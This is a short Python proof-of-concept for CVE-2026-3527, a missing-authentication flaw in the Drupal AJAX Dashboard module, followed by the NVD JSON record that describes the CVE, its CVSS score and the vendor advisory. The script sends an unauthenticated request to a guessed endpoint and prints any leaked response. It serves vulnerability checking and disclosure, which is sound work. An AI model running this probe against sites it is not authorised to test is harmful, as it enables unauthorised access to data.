CVE-2026-3527

#!/usr/bin/env python3 # PoC for CVE-2026-3527 - Missing Authentication for Critical Function import requests def check_vulnerability(target_url): """ Checks if the target is vulnerable by sending an unauthenticated request. """ # The specific vulnerable endpoint might vary based on the module implementation. # This is a generic example targeting a common AJAX dashboard path. endpoint = "/ajax_dashboard/callback" full_url = f"{target_url.rstrip('/')}{endpoint}" try: # Sending request without authentication headers (cookies/tokens) response = requests.get(full_url, timeout=10) if response.status_code == 200: # Analyze response content to confirm data leakage or action execution print(f"[+] Potential vulnerability detected at {full_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}") else: print(f"[-] Target may not be vulnerable or endpoint is different. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-3527", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:08.757", "lastModified": "2026-03-31T20:34:26.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authentication for Critical Function vulnerability in Drupal AJAX Dashboard allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AJAX Dashboard: from 0.0.0 before 3.1.0."}, {"lang": "es", "value": "Vulnerabilidad de autenticación faltante para función crítica en Drupal AJAX Dashboard permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a AJAX Dashboard: desde 0.0.0 anterior a 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ceriumsoft:ajax_dashboard:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "8DD45B0F-9DCC-4715-BA1B-1653924E4783"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-022", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}